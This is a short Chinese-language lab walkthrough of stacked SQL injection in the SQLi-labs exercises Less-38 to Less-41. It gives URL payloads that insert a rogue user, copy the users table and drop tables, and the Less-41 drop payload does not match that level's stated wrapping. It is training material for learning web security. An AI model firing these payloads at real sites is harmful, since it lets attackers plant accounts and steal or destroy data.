补充知识:堆叠注入(Stacked injections)
从名词的含义就可以看到应该是一堆sql语句(多条)一起执行。而在真实的运用中也是这样的,我们知道在mysql中,主要是命令行中,每一条语句结尾加 ; 表示语句结束。这样我们就想到了是不是可以多句一起使用。这个叫做stacked injection。
例:
使用security数据库,查看其中的表;
我们查看users表中的用户,并创建一个新的用户;
参考原文: https://www.cnblogs.com/lcamry/p/5762905.html
Less38使用‘’包裹;
注入可以参考https://blog.csdn.net/Kevinhanser/article/details/81592862
输入 ?id=1‘;insert into users(id,username,password) values (‘38‘,‘ztt‘,‘38‘)--+
创建一个id为38 用户名为ztt 密码为38的用户;
Less-39: id 没有进行任何包裹 其他与第38关一致。
输入:?id=1;create table ztt39 like users;insert into ztt39 select * from users;--+
输入: ?id=1;drop table ztt39 --+ 删除此表;
Less-40:使用(‘1’)进行包裹 其他与第38关一致。
输入 ?id=1‘);create table ztt40 like users;insert into ztt40 select *from users; --+ 创建表ztt40;
输入 ?id=1‘);drop table ztt40--+ 删除表ztt40;
Less41: 无包裹, 其他与第38关一致.
输入?id=1’ 不显示报错;
输入:?id=1; create table ztt41 like users;insert into ztt41 select *from users; --+ 创建表ztt41;
输入 ?id=1‘);drop table ztt41--+ 删除表ztt41;
原文:https://www.cnblogs.com/199904-04/p/12296539.html